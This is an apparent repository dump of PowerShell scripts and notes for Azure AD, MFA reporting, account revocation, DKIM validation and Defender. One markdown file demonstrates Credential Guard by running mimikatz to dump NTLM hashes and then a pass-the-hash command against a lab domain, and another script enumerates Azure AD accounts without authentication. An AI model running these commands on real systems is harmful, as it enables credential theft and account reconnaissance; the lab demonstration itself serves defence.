61 | 17.03.2020 v1.1, Alex verboon, added user objectguid and improved processing speed.
62 | 17.03.2020 v1.1, Alex Verboon, added consitency to the 'default' attributes
63 | 17.03.2020 v1.2, Alex Verboon, adeed fixed a typo in the PhoneAppOTPIsDefault attribute
64 |
65 | #>
66 | [cmdletbinding(DefaultParameterSetName=’User’)]
67 | Param
68 | (
69 | # The Users principalname
70 | [Parameter(Mandatory=$false,
71 | ParameterSetName = "User",
72 | ValueFromPipelineByPropertyName=$true,
73 | Position=0)]
74 | [string]$UserPrincipalName,
75 |
76 | # The Autentication Method
77 | [Parameter(Mandatory=$false,
78 | ParameterSetName = "AuthMethod",
79 | ValueFromPipelineByPropertyName=$true,
80 | Position=0)]
81 | [ValidateSet("PhoneAppNotification","PhoneAppOTP","TwoWayVoiceMobile","OneWaySMS","email")]
82 | [string]$AuthMethod,
83 |
84 | # Use this swtich to check if the selected authentication method is set as the users default
85 | [Parameter(Mandatory=$false,
86 | ParameterSetName = "AuthMethod",
87 | ValueFromPipelineByPropertyName=$true,
88 | Position=1)]
89 | [switch]$IsDefault,
90 |
91 | # Use this switch of check if MFA was enforced through Office 365
92 | [Parameter(Mandatory=$false,
93 | ParameterSetName = "State",
94 | ValueFromPipelineByPropertyName=$true,
95 | Position=0)]
96 | [ValidateSet("Enabled","Enforced","Disabled")]
97 | [string]$State
98 | )
99 |
100 |
101 | Begin{
102 | Try{
103 | Get-MsolDomain -ErrorAction stop | Out-Null
104 | }
105 | Catch{
106 | write-warning "You must call the Connect-MsolService cmdlet before running Get-AzMFAStatus"
107 | }
108 | }
109 |
110 | Process{
111 | [int]$TotalItems = 0
112 | [int]$count = 0
113 |
114 | If ([string]::IsNullOrEmpty($UserPrincipalName))
115 | {
116 | Try{
117 | Write-Verbose "Retrieving all users"
118 | $allusers = Get-MsolUser -All -ErrorAction stop
119 | }
120 | Catch{
121 | Write-Warning "Unable to retrieve users"
122 | }
123 | }
124 | Else
125 | {
126 | Try{
127 | $allusers = Get-MsolUser -UserPrincipalName $UserPrincipalName -ErrorAction Stop
128 | }
129 | Catch{
130 | Write-Warning "User: $UserPrincipalName not found"
131 | }
132 | }
133 |
134 | $TotalItems = $allusers.count
135 | $count=0
136 | Write-verbose "Total users in AzureAD: $TotalItems"
137 |
138 | $mfauserinfo = ForEach ($user in $allusers)
139 | {
140 | #Write-verbose "Processing $($User.UserPrincipalName) $count/$TotalItems"
141 | $StrongAuthenticationMethodsresult = $user.StrongAuthenticationMethods | Select-Object MethodType,IsDefault
142 |
143 | #$object = [ordered]@{
144 | [PSCustomObject]@{
145 | UserPrincipalName = $user.UserPrincipalName
146 | ObjectID = $user.objectid
147 | DisplayName = $user.DisplayName
148 | AuthEmail = $user.StrongAuthenticationUserDetails.Email
149 | AuthPhoneNumber = $user.StrongAuthenticationUserDetails.PhoneNumber
150 | PhoneDeviceName = $user.StrongAuthenticationPhoneAppDetails.DeviceName
151 | AuthAltPhone = $user.StrongAuthenticationUserDetails.AlternativePhoneNumber
152 | State = if($user.StrongAuthenticationRequirements.State -ne $null){ $user.StrongAuthenticationRequirements.State} else { "Disabled"}
153 |
154 | PhoneAppNotification = if ($StrongAuthenticationMethodsresult | Where-Object {$_.MethodType -eq "PhoneAppNotification"}) {$true} else {$false}
155 | PhoneAppNotificationIsDefault = IF ( ($StrongAuthenticationMethodsresult | Where-Object {$_.MethodType -eq "PhoneAppNotification"}).isDefault -eq "True") {$true} Else {$false}
156 |
157 | PhoneAppOTP = if ($StrongAuthenticationMethodsresult | Where-Object {$_.MethodType -eq "PhoneAppOTP"}) {$true} else {$false}
158 | PhoneAppOTPIsDefault = IF ( ($StrongAuthenticationMethodsresult | Where-Object {$_.MethodType -eq "PhoneAppOTPIsDefault"}).isDefault -eq "True") {$true} Else {$false}
159 |
160 | TwoWayVoiceMobile = if ($StrongAuthenticationMethodsresult | Where-Object {$_.MethodType -eq "TwoWayVoiceMobile"}) {$true} else {$false}
161 | TwoWayVoiceMobileIsDefault = IF ( ($StrongAuthenticationMethodsresult | Where-Object {$_.MethodType -eq "TwoWayVoiceMobileIsDefault"}).isDefault -eq "True") {$true} Else {$false}
162 |
163 | OneWaySMS = if ($StrongAuthenticationMethodsresult | Where-Object {$_.MethodType -eq "OneWaySMS"}) {$true} else {$false}
164 | OneWaySMSIsDefault = IF ( ($StrongAuthenticationMethodsresult | Where-Object {$_.MethodType -eq "OneWaySMSIsDefault"}).isDefault -eq "True") {$true} Else {$false}
165 |
166 | }
167 | #$count++
168 | }
169 | }
170 |
171 | End{
172 |
173 | If ([string]::IsNullOrEmpty($AuthMethod))
174 | {
175 | If ([String]::IsNullOrEmpty($State))
176 | {
177 | $mfauserinfo
178 | }
179 | Else
180 | {
181 | Write-Verbose "Retrieving all users with MFA Enforcement state: $State"
182 | $mfauserinfo | Where-Object {$_.State -eq "$State"}
183 | }
184 | }
185 | Else
186 | {
187 | If ($AuthMethod -eq "email")
188 | {
189 | Write-Verbose "Retrieving all users with registered e-mail"
190 | $mfauserinfo | Where-Object {$_.AuthEmail -cnotlike ""}
191 | }
192 | Else
193 | {
194 | If ($IsDefault.IsPresent -eq $true)
195 | {
196 | Write-Verbose "Retrieving all users with $AuthMethod set as default"
197 | $isdefaultname = "$AuthMethod" + "IsDefault"
198 |
199 | $mfauserinfo | Where-Object {$_."$AuthMethod" -eq "True"-and $_."$isdefaultname" -eq "True"}
200 | }
201 | Else
202 | {
203 | Write-Verbose "Retrieving all users with $AuthMethod enabled"
204 | $mfauserinfo | Where-Object {$_."$AuthMethod" -eq "True"}
205 |
206 | }
207 | }
208 | }
209 |
210 | }
211 | }
--------------------------------------------------------------------------------
/AzureAD/MFA/OldStuff/add-mfagroup.ps1:
--------------------------------------------------------------------------------
1 |
2 | # load the function to add users form list to AD group
3 | cd C:\DATA\MFA
4 | . .\Add-mUserToGroup.ps1
5 | # Collect MFA Status information
6 | #$mfa = .\MfaAuthMethodsAnalysis.ps1 -TenantId ""
7 | # Get all users that have MFA enabled
8 | # $MFA_Active = @($MFA | Where-Object {$_.MfaAuthMethodCount -gt 0})
9 | # STore usernames in text file
10 | # $MFA_Active | Select-Object -ExpandProperty UserPrincipalName | out-file -FilePath C:\Data\mfa\Userlist\mfa_active_11122020.txt
11 | # Add users to MFA Group
12 | Add-mUserToGroup -InputFile "C:\Data\MFA\Userlist\newusers_27012021.txt" -Group "AllMFAUsers" -Verbose
13 | # run this command to list all users of the group
14 | #$cagrpmembers = Get-ADGroupMember -Identity "AllMFAUsers" | Select-Object Name, SamAccountName
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/AzureAD/Revoke/revoke.ps1:
--------------------------------------------------------------------------------
1 | # on Premise AD
2 | Get-AzADUser
3 |
4 | $aduser = "bgroove"
5 | Disable-ADAccount -Identity $aduser
6 | $pwd1 = (New-Guid).Guid
7 | Set-ADAccountPassword -Identity $aduser -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "$pwd1" -Force)
8 | $pwd2 = (New-Guid).Guid
9 | Set-ADAccountPassword -Identity $aduser -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "$pwd2" -Force)
10 |
11 |
12 | # AzureAD
13 |
14 |
15 | $rUser = "bgroove@contoso.com"
16 | # Get user Details
17 | Get-AzureADUser -ObjectId $rUser
18 | Get-AzureADUser -ObjectId $rUser | Select UserPrincipalName,AccountEnabled
19 |
20 | #disable user
21 | Set-AzureADUser -ObjectId $rUser -AccountEnabled $false
22 |
23 | #Revoke
24 | Revoke-AzureADUserAllRefreshToken -ObjectId $ruser
25 |
26 | # User Device
27 | Get-AzureADUserRegisteredDevice -ObjectId $rUser
28 | #Get-AzureADUserRegisteredDevice -ObjectId johndoe@contoso.com | Set-AzureADDevice -AccountEnabled $false
29 |
--------------------------------------------------------------------------------
/AzureAD/Test-AzureADUserExistence.ps1:
--------------------------------------------------------------------------------
1 | function Test-AzureADUserExistence {
2 | <#
3 | .SYNOPSIS
4 | Check if an account exists in Azure AD for specified email addresses.
5 |
6 | .DESCRIPTION
7 | The script will connect to public endpoints in Azure AD to find out if an account exists for specified email addresses or not. This script works without any authentication to Azure AD. The script can't see accounts for federated domains but it will tell you what organisation the federated domain belongs to.
8 |
9 | .PARAMETER Users
10 | An array of one or more user email addresses to test.
11 |
12 | .EXAMPLE
13 | Test-AzureADUserExistence -Users "user1@example.com", "user2@example.com", "user3@example.onmicrosoft.com"
14 |
15 | .NOTES
16 | Version: 1.0
17 | Author: Daniel Chronlund
18 | Creation Date: 2020-03-12
19 |
20 | Warning: This script is a proof of concept and for testing purposes only. Do not use this script in an unethical or unlawful way.
21 | #>
22 |
23 | param ($Users)
24 |
25 | foreach ($User in $Users) {
26 | # Create custom object for output.
27 | $TestObject = New-Object -TypeName psobject
28 |
29 | # Add username.
30 | $TestObject | Add-Member -MemberType NoteProperty -Name "Username" -Value $User
31 |
32 | # Check if user account exists in Azure AD.
33 | if (((Invoke-WebRequest -Method "POST" -Uri "https://login.microsoftonline.com/common/GetCredentialType" -Body "{`"Username`":`"$User`"}").Content | ConvertFrom-Json).IfExistsResult -eq 0) {
34 | # Check domain federation status.
35 | [xml]$Response = (Invoke-WebRequest -Uri "https://login.microsoftonline.com/getuserrealm.srf?login=$User&xml=1").Content
36 |
37 | # Add org information.
38 | $TestObject | Add-Member -MemberType NoteProperty -Name "FederationBrandName" -Value $Response.RealmInfo.FederationBrandName
39 |
40 | # If domain is Federated we can't tell if the account exists or not :(
41 | if ($Response.RealmInfo.IsFederatedNS -eq $true) {
42 | $TestObject | Add-Member -MemberType NoteProperty -Name "UserExists" -Value "Unknown (Federated domain handled by $((($Response.RealmInfo.AuthURL -split "//")[1] -split "/")[0]))"
43 | }
44 | # If the domain is Managed (not federated) we can tell if an account exists in Azure AD :)
45 | else {
46 | $TestObject | Add-Member -MemberType NoteProperty -Name "UserExists" -Value "Yes"
47 | }
48 | }
49 | else {
50 | $TestObject | Add-Member -MemberType NoteProperty -Name "UserExists" -Value "No"
51 | }
52 |
53 | $TestObject
54 | }
55 | }
56 |
57 |
58 | # Example:
59 | Test-AzureADUserExistence -Users "user1@example.com", "user2@example.com", "sam@verboon.online"
--------------------------------------------------------------------------------
/CredentialGuard/credentialguard.md:
--------------------------------------------------------------------------------
1 | # Credential Guard Demo with Mimikatz
2 |
3 | ## Demo without Credential Guard enabled
4 |
5 | If you have a VM with Credential Guard already enabled, run the following command on the Hyper-V host to disable Virtualization based Security.
6 |
7 | ```powershell
8 | Set-VMSecurity -VMName "W10Client1 - Hybrid Joined" -VirtualizationBasedSecurityOptOut $false
9 | ```
10 |
11 | 1. Add C:\DEV\MK to the Defender Exclusion list
12 | 2. Download mimikatz into C:\DEV\MK
13 | 3. Open an elevated prompt.
14 | 4. Run mimikatz.exe
15 | 5. Run the following commands
16 |
17 | ```batch
18 | privilege::debug
19 | log nocredguard.log
20 | sekurlsa::logonpasswords
21 | ```
22 |
23 | You get an output like this, in this example we see the NTLM hashes from user Tina and user OA. Note down the NTLM hash
24 |
25 | ```batch
26 | * Username : oa
27 | * Domain : corp
28 | * NTLM : 63bf41b93e6ee0deffbadba689a0241d
29 | * SHA1 : 00b18eac52e67f636fc4a1130f491919a2516ce3
30 | * DPAPI : 06383a0cd1b82e49154d37c70c70d85b
31 |
32 |
33 | * Username : tina
34 | * Domain : corp
35 | * NTLM : 3c849ce9c31ccf7a3c0cad3ec93edc75
36 | * SHA1 : dc4aa8063574c5069ed522d8098e0b9ab1fab3bf
37 | * DPAPI : 131a0e8007dbed59aa34bf15e0269e03
38 |
39 | ```
40 |
41 | To run a Pass the hash simulation run the following command:
42 |
43 | ```batch
44 | sekurlsa::pth /user:oa /domain:corp.net /ntlm:63bf41b93e6ee0deffbadba689a0241d
45 | ```
46 |
47 | Run whoami, you will still see the test user, not the elevated one, next open a remote powershell session on the domain controller and add a new group. This only works because you are using domain admin credentials via pass the hash
48 |
49 |
50 | ## Demo with Credential Guard enabled
51 |
52 | To turn VBS on again for the VM that has Credential Gaurd enabled run the following command on the Hyper-V host.
53 |
54 | ```powershell
55 | Set-VMSecurity -VMName "W10Client1 - Hybrid Joined" -VirtualizationBasedSecurityOptOut $true
56 | ```
57 |
58 | Then logon to the VM , open an elevated prompt and run the following command:
59 |
60 | 1. Run mimikatz.exe
61 | 2. Run the following commands
62 |
63 | ```batch
64 | privilege::debug
65 | log nocredguard.log
66 | sekurlsa::logonpasswords
67 | ```
68 |
69 | Result: you will no longer see MTLM hashes.
70 |
--------------------------------------------------------------------------------
/DKIM/Validate-DkimConfig.ps1:
--------------------------------------------------------------------------------
1 | function Validate-DkimConfig
2 | {
3 | [cmdletbinding()]
4 | Param(
5 | [parameter(Mandatory=$false)]
6 | [string]$domain,
7 | [parameter(Mandatory=$false)]
8 | [switch]$showAll
9 | )
10 |
11 | $notFound=$false;
12 |
13 | if ($domain) {
14 | $config = Get-DkimSigningConfig -Identity $domain -ErrorAction SilentlyContinue
15 | if ($config) {
16 | Validate-DkimConfigDomain $config -showAll:$showAll
17 | } else {
18 | $notFound=$true;
19 | }
20 | }
21 | else {
22 | $configs = Get-DkimSigningConfig
23 | if ($configs -and $configs.Count -gt 0) {
24 | foreach ($config in $configs) { Validate-DkimConfigDomain $config -showAll:$showAll}
25 | } else {
26 | Write-Host
27 | Write-Host "No DKIM Signing Configs Found" -ForegroundColor Yellow
28 | Write-Host
29 | }
30 | }
31 |
32 | if ($notFound -and $domain) {
33 | Write-Host
34 | Write-Host "Config for domain $($domain) Not Found" -ForegroundColor Yellow
35 | Write-Host
36 |
37 | if (!$domain.EndsWith("onmicrosoft.com") -and !$domain.EndsWith("microsoftonline.com")) {
38 | Validate-DkimCnameOnly $domain
39 | }
40 | }
41 | }
42 |
43 | # Performs the main validation of a configuration
44 | function Validate-DkimConfigDomain
45 | {
46 | [cmdletbinding()]
47 | Param(
48 | [parameter(Mandatory=$true)]
49 | $config,
50 | [parameter(Mandatory=$false)]
51 | [switch]$showAll
52 | )
53 |
54 | # Display the configuration
55 | $domain = $config.Domain;
56 | $onmicrosoft = if ($domain.EndsWith("onmicrosoft.com") -or $domain.EndsWith("microsoftonline.com")) { $true } else { $false }
57 | $actions = @()
58 |
59 | Write-Host "Config for $domain Found..." -ForegroundColor Yellow
60 | if ($showAll) {
61 | $config | fl
62 | }
63 | else {
64 | $config | Select Identity, Enabled, Status, Selector1CNAME, Selector2CNAME, KeyCreationTime, LastChecked, RotateOnDate, SelectorBeforeRotateonDate, SelectorAfterRotateonDate | fl
65 | }
66 |
67 | if (!$config.Enabled) {
68 | Write-Host "Config $($config.Name) Not Enabled" -ForegroundColor Yellow
69 | Write-Host
70 | $actions += "Config $($config.Name) needs to be Enabled"
71 | }
72 |
73 | # Get the DNS ENtries
74 | Write-Host "Locating DNS Entries..." -ForegroundColor Yellow
75 | $cname1 = "selector1._domainkey.$($domain)"
76 | $cname2 = "selector2._domainkey.$($domain)"
77 | $txt1 = $config.Selector1CNAME;
78 | $txt2 = $config.Selector2CNAME;
79 |
80 | $cname1Dns = Resolve-DnsName -Name $cname1 -Type CNAME -ErrorAction SilentlyContinue
81 | $cname2Dns = Resolve-DnsName -Name $cname2 -Type CNAME -ErrorAction SilentlyContinue
82 | $txt1Dns = Resolve-DnsName -Name $txt1 -Type TXT -ErrorAction SilentlyContinue
83 | $txt2Dns = Resolve-DnsName -Name $txt2 -Type TXT -ErrorAction SilentlyContinue
84 |
85 | # Validate Entries
86 | Write-Host "Validating DNS Entries..." -ForegroundColor Yellow
87 |
88 | Write-Host
89 | Write-Host "Config CNAME1 : $($config.Selector1CNAME)"
90 | if (!$onmicrosoft) {
91 | if ($cname1Dns -and $cname1Dns.NameHost) {
92 | Write-Host "DNS CNAME1 : $($cname1Dns.NameHost)"
93 | Write-Host "TXT Hostname : $($cname1)"
94 | $match = if ($config.Selector1CNAME.Trim() -eq $cname1Dns.NameHost.Trim()) { $true } else { $false }
95 | if ($match) {
96 | write-host "Matched : $($match)" -ForegroundColor Green
97 | } else {
98 | write-host "Matched : $($match)" -ForegroundColor Red
99 | $actions += "Publish CNAME TXT Entry $($cname1) with value $($txt1)"
100 | }
101 | }
102 | else {
103 | write-host "DNS NotFound : $($cname1)" -ForegroundColor Red
104 | $actions += "Publish DNS CNAME Entry $($cname1) with value $($txt1)"
105 | }
106 | }
107 |
108 | Write-Host
109 | Write-Host "Config CNAME2 : $($config.Selector2CNAME)"
110 | if (!$onmicrosoft) {
111 | if ($cname2Dns -and $cname2Dns.NameHost) {
112 | Write-Host "DNS CNAME2 : $($cname2Dns.NameHost)"
113 | Write-Host "TXT Hostname : $($cname2)"
114 | $match = if ($config.Selector2CNAME.Trim() -eq $cname2Dns.NameHost.Trim()) { $true } else { $false }
115 | if ($match) {
116 | write-host "Matched : $($match)" -ForegroundColor Green
117 | } else {
118 | write-host "Matched : $($match)" -ForegroundColor Red
119 | $actions += "Publish DNS CNAME Entry $($cname2) with value $($txt2)"
120 | }
121 | }
122 | else {
123 | write-host "DNS NotFound : $($cname2)" -ForegroundColor Red
124 | $actions += "Publish DNS CNAME Entry $($cname2) with value $($txt2)"
125 | }
126 | }
127 |
128 | Write-Host
129 | Write-Host "Config TXT1 : $($config.Selector1PublicKey)"
130 | if ($txt1Dns -and $txt1Dns.Strings) {
131 | $key = $txt1Dns.Strings[0].Trim()
132 | Write-Host "DNS TXT1 : $($key)"
133 | $match = if (Compare-PublicAndConfigKeys $key $config.Selector1PublicKey) { $true } else { $false }
134 | if ($match) {
135 | write-host "Key Match : $($match)" -ForegroundColor Green
136 | } else {
137 | write-host "Key Match : $($match)" -ForegroundColor Red
138 | $actions += "Public Key in TXT Entry $($txt1) needs to be republished..."
139 | }
140 | }
141 | else {
142 | write-host "DNS NotFound : $($txt1)" -ForegroundColor Red
143 | $actions += "Microsoft TXT Entry $($txt1) not found so Signing Config needs to be recreated..."
144 | }
145 |
146 | Write-Host
147 | Write-Host "Config TXT2 : $($config.Selector2PublicKey)"
148 | if ($txt2Dns -and $txt2Dns.Strings) {
149 | $key = $txt2Dns.Strings[0].Trim()
150 | Write-Host "DNS TXT2 : $($key)"
151 | $match = if (Compare-PublicAndConfigKeys $key $config.Selector2PublicKey) { $true } else { $false }
152 | if ($match) {
153 | write-host "Key Match : $($match)" -ForegroundColor Green
154 | } else {
155 | write-host "Key Match : $($match)" -ForegroundColor Red
156 | $actions += "Public Key in TXT Entry $($txt2) needs to be republished..."
157 | }
158 | }
159 | else {
160 | write-host "DNS NotFound : $($txt2)" -ForegroundColor Red
161 | $actions += "Microsoft TXT Entry $($txt2) not found so Signing Config needs to be recreated..."
162 | }
163 |
164 | # Write out neccessary Actions
165 | Write-Host
166 | if ($actions.Count -gt 0) {
167 | Write-Host "Required Actions..." -ForegroundColor Yellow
168 | foreach ($action in $actions) { write-host $action}
169 | }
170 | }
171 |
172 | # Performs a validation of the Dkim CNAMES
173 | function Validate-DkimCnameOnly
174 | {
175 | [cmdletbinding()]
176 | Param(
177 | [parameter(Mandatory=$true)]
178 | $domain
179 | )
180 |
181 | # Get the DNS ENtries
182 | Write-Host "Locating DNS Entries..." -ForegroundColor Yellow
183 | $cname1 = "selector1._domainkey.$($domain)"
184 | $cname2 = "selector2._domainkey.$($domain)"
185 |
186 | $cname1Dns = Resolve-DnsName -Name $cname1 -Type CNAME -ErrorAction SilentlyContinue
187 | $cname2Dns = Resolve-DnsName -Name $cname2 -Type CNAME -ErrorAction SilentlyContinue
188 |
189 | Write-Host
190 |
191 | if ($cname1Dns) {
192 | Write-Host "DNS CNAME1 : $($cname1)" -ForegroundColor Green
193 | Write-Host "Host Value : $($cname1Dns.NameHost)"
194 | }
195 | else {
196 | write-host "CNAME1 NotFound : $($cname1)" -ForegroundColor Red
197 | }
198 |
199 | if ($cname2Dns) {
200 | Write-Host "DNS CNAME2 : $($cname2)" -ForegroundColor Green
201 | Write-Host "Host Value : $($cname2Dns.NameHost)"
202 | }
203 | else {
204 | write-host "CNAME2 NotFound : $($cname2)" -ForegroundColor Red
205 | }
206 |
207 | Write-Host
208 | }
209 |
210 | # Compares public and published keys
211 | function Compare-PublicAndConfigKeys([string] $publicKey, [string] $configKey)
212 | {
213 | $match = $false;
214 |
215 | if (![string]::IsNullOrWhiteSpace($publicKey) -and ![string]::IsNullOrWhiteSpace($configKey)) {
216 | $regex = "p=(.*?);"
217 | $foundPublic = $publicKey -match $regex
218 | $publicValue = if ($foundPublic) { $matches[1] } else { $null }
219 | $foundConfig = $configKey -match $regex
220 | $configValue = if ($foundConfig) { $matches[1] } else { $null }
221 |
222 | if ($foundPublic -and $foundConfig) {
223 | if ($publicValue.Trim() -eq $configValue.Trim()) {
224 | $match = $true;
225 | }
226 | }
227 | }
228 |
229 | $match;
230 | }
--------------------------------------------------------------------------------
/DKIM/Validate-DkimConfig2.ps1:
--------------------------------------------------------------------------------
1 | function Validate-DkimConfig2
2 | {
3 | [cmdletbinding()]
4 | Param(
5 | [parameter(Mandatory=$false)]
6 | [string]$domain,
7 | [parameter(Mandatory=$false)]
8 | [switch]$showAll
9 | )
10 |
11 | $notFound=$false;
12 |
13 | if ($domain) {
14 | $config = Get-DkimSigningConfig -Identity $domain -ErrorAction SilentlyContinue
15 | if ($config) {
16 | Validate-DkimConfigDomain $config -showAll:$showAll
17 | } else {
18 | $notFound=$true;
19 | }
20 | }
21 | else {
22 | $configs = Get-DkimSigningConfig
23 | if ($configs -and $configs.Count -gt 0) {
24 | foreach ($config in $configs) { Validate-DkimConfigDomain $config -showAll:$showAll}
25 | } else {
26 | Write-Host
27 | Write-Host "No DKIM Signing Configs Found" -ForegroundColor Yellow
28 | Write-Host
29 | }
30 | }
31 |
32 | if ($notFound -and $domain) {
33 | Write-Host
34 | Write-Host "Config for domain $($domain) Not Found" -ForegroundColor Yellow
35 | Write-Host
36 |
37 | if (!$domain.EndsWith("onmicrosoft.com") -and !$domain.EndsWith("microsoftonline.com")) {
38 | Validate-DkimCnameOnly $domain
39 | }
40 | }
41 | }
42 |
43 | # Performs the main validation of a configuration
44 | function Validate-DkimConfigDomain
45 | {
46 | [cmdletbinding()]
47 | Param(
48 | [parameter(Mandatory=$true)]
49 | $config,
50 | [parameter(Mandatory=$false)]
51 | [switch]$showAll
52 | )
53 |
54 | # Display the configuration
55 | $domain = $config.Domain;
56 | $onmicrosoft = if ($domain.EndsWith("onmicrosoft.com") -or $domain.EndsWith("microsoftonline.com")) { $true } else { $false }
57 | $actions = @()
58 |
59 | Write-Host "Config for $domain Found..." -ForegroundColor Yellow
60 | if ($showAll) {
61 | $config | fl
62 | }
63 | else {
64 | $config | Select Identity, Enabled, Status, Selector1CNAME, Selector2CNAME, KeyCreationTime, LastChecked, RotateOnDate, SelectorBeforeRotateonDate, SelectorAfterRotateonDate | fl
65 | }
66 |
67 | if (!$config.Enabled) {
68 | Write-Host "Config $($config.Name) Not Enabled" -ForegroundColor Yellow
69 | Write-Host
70 | $actions += "Config $($config.Name) needs to be Enabled"
71 | }
72 |
73 | # Get the DNS ENtries
74 | Write-Host "Locating DNS Entries..." -ForegroundColor Yellow
75 | $cname1 = "selector1._domainkey.$($domain)"
76 | $cname2 = "selector2._domainkey.$($domain)"
77 | $txt1 = $config.Selector1CNAME;
78 | $txt2 = $config.Selector2CNAME;
79 |
80 | $cname1Dns = Resolve-DnsName -Name $cname1 -Type CNAME -ErrorAction SilentlyContinue
81 | $cname2Dns = Resolve-DnsName -Name $cname2 -Type CNAME -ErrorAction SilentlyContinue
82 | $txt1Dns = Resolve-DnsName -Name $txt1 -Type TXT -ErrorAction SilentlyContinue
83 | $txt2Dns = Resolve-DnsName -Name $txt2 -Type TXT -ErrorAction SilentlyContinue
84 |
85 | # Validate Entries
86 | Write-Host "Validating DNS Entries..." -ForegroundColor Yellow
87 |
88 | Write-Host
89 | Write-Host "Config CNAME1 : $($config.Selector1CNAME)"
90 | if (!$onmicrosoft) {
91 | if ($cname1Dns -and $cname1Dns.NameHost) {
92 | Write-Host "DNS CNAME1 : $($cname1Dns.NameHost)"
93 | Write-Host "TXT Hostname : $($cname1)"
94 | $match = if ($config.Selector1CNAME.Trim() -eq $cname1Dns.NameHost.Trim()) { $true } else { $false }
95 | $match = if ($config.Selector1CNAME.Trim() -eq $cname1Dns.NameHost.Trim()) { $true } else { $false }
96 |
97 | if ($match) {
98 | write-host "Matched : $($match)" -ForegroundColor Green
99 | } else {
100 | write-host "Matched : $($match)" -ForegroundColor Red
101 | $actions += "Publish CNAME TXT Entry $($cname1) with value $($txt1)"
102 | }
103 | }
104 | else {
105 | write-host "DNS NotFound : $($cname1)" -ForegroundColor Red
106 | $actions += "Publish DNS CNAME Entry $($cname1) with value $($txt1)"
107 | }
108 | }
109 |
110 | Write-Host
111 | Write-Host "Config CNAME2 : $($config.Selector2CNAME)"
112 | if (!$onmicrosoft) {
113 | if ($cname2Dns -and $cname2Dns.NameHost) {
114 | Write-Host "DNS CNAME2 : $($cname2Dns.NameHost)"
115 | Write-Host "TXT Hostname : $($cname2)"
116 | $match = if ($config.Selector2CNAME.Trim() -eq $cname2Dns.NameHost.Trim()) { $true } else { $false }
117 | if ($match) {
118 | write-host "Matched : $($match)" -ForegroundColor Green
119 | } else {
120 | write-host "Matched : $($match)" -ForegroundColor Red
121 | $actions += "Publish DNS CNAME Entry $($cname2) with value $($txt2)"
122 | }
123 | }
124 | else {
125 | write-host "DNS NotFound : $($cname2)" -ForegroundColor Red
126 | $actions += "Publish DNS CNAME Entry $($cname2) with value $($txt2)"
127 | }
128 | }
129 |
130 | Write-Host
131 | Write-Host "Config TXT1 : $($config.Selector1PublicKey)"
132 | if ($txt1Dns -and $txt1Dns.Strings) {
133 | # $key = $txt1Dns.Strings[0].Trim()
134 | $key = [system.String]::Join("", $txt1Dns.Strings.Trim()).Trim()
135 |
136 | Write-Host "DNS TXT1 : $($key)"
137 | $match = if (Compare-PublicAndConfigKeys $key $config.Selector1PublicKey) { $true } else { $false }
138 | if ($match) {
139 | write-host "Key Match : $($match)" -ForegroundColor Green
140 | } else {
141 | write-host "Key Match : $($match)" -ForegroundColor Red
142 | $actions += "Public Key in TXT Entry $($txt1) needs to be republished..."
143 | }
144 | }
145 | else {
146 | write-host "DNS NotFound : $($txt1)" -ForegroundColor Red
147 | $actions += "Microsoft TXT Entry $($txt1) not found so Signing Config needs to be recreated..."
148 | }
149 |
150 | Write-Host
151 | Write-Host "Config TXT2 : $($config.Selector2PublicKey)"
152 | if ($txt2Dns -and $txt2Dns.Strings) {
153 | #$key = $txt2Dns.Strings[0].Trim()
154 | $key = [system.String]::Join("", $txt2Dns.Strings.Trim()).Trim()
155 | Write-Host "DNS TXT2 : $($key)"
156 | $match = if (Compare-PublicAndConfigKeys $key $config.Selector2PublicKey) { $true } else { $false }
157 | if ($match) {
158 | write-host "Key Match : $($match)" -ForegroundColor Green
159 | } else {
160 | write-host "Key Match : $($match)" -ForegroundColor Red
161 | $actions += "Public Key in TXT Entry $($txt2) needs to be republished..."
162 | }
163 | }
164 | else {
165 | write-host "DNS NotFound : $($txt2)" -ForegroundColor Red
166 | $actions += "Microsoft TXT Entry $($txt2) not found so Signing Config needs to be recreated..."
167 | }
168 |
169 | # Write out neccessary Actions
170 | Write-Host
171 | if ($actions.Count -gt 0) {
172 | Write-Host "Required Actions..." -ForegroundColor Yellow
173 | foreach ($action in $actions) { write-host $action}
174 | }
175 | }
176 |
177 | # Performs a validation of the Dkim CNAMES
178 | function Validate-DkimCnameOnly
179 | {
180 | [cmdletbinding()]
181 | Param(
182 | [parameter(Mandatory=$true)]
183 | $domain
184 | )
185 |
186 | # Get the DNS ENtries
187 | Write-Host "Locating DNS Entries..." -ForegroundColor Yellow
188 | $cname1 = "selector1._domainkey.$($domain)"
189 | $cname2 = "selector2._domainkey.$($domain)"
190 |
191 | $cname1Dns = Resolve-DnsName -Name $cname1 -Type CNAME -ErrorAction SilentlyContinue
192 | $cname2Dns = Resolve-DnsName -Name $cname2 -Type CNAME -ErrorAction SilentlyContinue
193 |
194 | Write-Host
195 |
196 | if ($cname1Dns) {
197 | Write-Host "DNS CNAME1 : $($cname1)" -ForegroundColor Green
198 | Write-Host "Host Value : $($cname1Dns.NameHost)"
199 | }
200 | else {
201 | write-host "CNAME1 NotFound : $($cname1)" -ForegroundColor Red
202 | }
203 |
204 | if ($cname2Dns) {
205 | Write-Host "DNS CNAME2 : $($cname2)" -ForegroundColor Green
206 | Write-Host "Host Value : $($cname2Dns.NameHost)"
207 | }
208 | else {
209 | write-host "CNAME2 NotFound : $($cname2)" -ForegroundColor Red
210 | }
211 |
212 | Write-Host
213 | }
214 |
215 | # Compares public and published keys
216 | function Compare-PublicAndConfigKeys([string] $publicKey, [string] $configKey)
217 | {
218 | $match = $false;
219 |
220 | if (![string]::IsNullOrWhiteSpace($publicKey) -and ![string]::IsNullOrWhiteSpace($configKey)) {
221 | $regex = "p=(.*?);"
222 | $foundPublic = $publicKey -match $regex
223 | $publicValue = if ($foundPublic) { $matches[1] } else { $null }
224 | $foundConfig = $configKey -match $regex
225 | $configValue = if ($foundConfig) { $matches[1] } else { $null }
226 |
227 | if ($foundPublic -and $foundConfig) {
228 | if ($publicValue.Trim() -eq $configValue.Trim()) {
229 | $match = $true;
230 | }
231 | }
232 | }
233 |
234 | $match;
235 | }
--------------------------------------------------------------------------------
/DefenderforEndpoint/Cleanup/defenderfiles.ps1:
--------------------------------------------------------------------------------
1 |
2 | # Defender ATP Service
3 | $service = Get-WmiObject win32_service | Select-Object * | where name -Like "*Sense*"
4 | write-host "Name: $($service.Caption)"
5 | Write-host "ServiceName: $($service.Name)"
6 | write-host "Path: $($service.PathName)"
7 |
8 | <#
